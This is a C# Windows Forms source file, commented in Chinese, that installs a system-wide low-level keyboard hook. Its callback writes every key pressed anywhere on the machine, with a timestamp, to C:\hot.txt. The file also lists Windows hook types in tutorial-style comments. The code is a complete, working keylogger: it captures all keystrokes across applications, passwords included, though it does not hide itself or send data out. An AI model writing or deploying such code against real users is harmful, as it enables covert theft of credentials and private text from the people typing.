using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace WindowsFormsApplication1
{
///
/// 获取键盘按键
///
public class InterceptKeys
{
private const int WH_KEYBOARD_LL = 13; //全局键盘钩子
private const int WM_KEYDOWN = 0x0100; //键盘按下
//private const int WM_KEYUP = 0x0101; //键盘抬起
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
#region 调用API
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
///
/// 安装钩子
///
/// 钩子类型
/// 函数指针
/// 包含钩子函数的模块(EXE、DLL)句柄; 一般是 HInstance; 如果是当前线程这里可以是 0
/// 关联的线程; 可用 GetCurrentThreadId 获取当前线程; 0 表示是系统级钩子
/// 返回钩子的句柄; 0 表示失败
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
//钩子类型 idHook 选项:
//WH_MSGFILTER = -1; {线程级; 截获用户与控件交互的消息}
//WH_JOURNALRECORD = 0;{系统级; 记录所有消息队列从消息队列送出的输入消息, 在消息从队列中清除时发生; 可用于宏记录}
//WH_JOURNALPLAYBACK = 1;{系统级; 回放由 WH_JOURNALRECORD 记录的消息, 也就是将这些消息重新送入消息队列}
//WH_KEYBOARD= 2;{系统级或线程级; 截获键盘消息}
//WH_GETMESSAGE= 3;{系统级或线程级; 截获从消息队列送出的消息}
//WH_CALLWNDPROC = 4;{系统级或线程级; 截获发送到目标窗口的消息, 在 SendMessage 调用时发生}
//WH_CBT = 5;{系统级或线程级; 截获系统基本消息, 譬如: 窗口的创建、激活、关闭、最大最小化、移动等等}
//WH_SYSMSGFILTER= 6;{系统级; 截获系统范围内用户与控件交互的消息}
//WH_MOUSE = 7;{系统级或线程级; 截获鼠标消息}
//WH_HARDWARE= 8;{系统级或线程级; 截获非标准硬件(非鼠标、键盘)的消息}
//WH_DEBUG = 9;{系统级或线程级; 在其他钩子调用前调用, 用于调试钩子}
//WH_SHELL = 10; {系统级或线程级; 截获发向外壳应用程序的消息}
//WH_FOREGROUNDIDLE= 11; {系统级或线程级; 在程序前台线程空闲时调用}
//WH_CALLWNDPROCRET= 12; {系统级或线程级; 截获目标窗口处理完毕的消息, 在 SendMessage 调用后发生}
//WH_KEYBOARD_LL = 13; {系统级; 截获低级键盘消息}
//WH_MOUSE_LL= 14; {系统级; 截获低级鼠标消息}
///
/// 卸载钩子
///
/// 钩子的句柄
///
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
#endregion
///
/// 安装钩子
///
public static void SetHook()
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
///
/// 处理函数
///
///
///
///
///
/// 如果返回1，则结束消息，这个消息到此为止，不再传递；
/// 如果返回0或调用CallNextHookEx函数则消息出了这个钩子继续往下传递，也就是传给消息真正的接受者；
///
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
//键盘按下时
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Keys key = (Keys)vkCode;
//记录到日志
File.AppendAllText(@"C:\hot.txt", DateTime.Now.ToString("HH:mm:ss") + ": " + key.ToString() + "\r\n");
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
///
/// 卸载钩子
///
public static void UnHook()
{
if (_hookID != IntPtr.Zero)
{
UnhookWindowsHookEx(_hookID);
}
}
}
}
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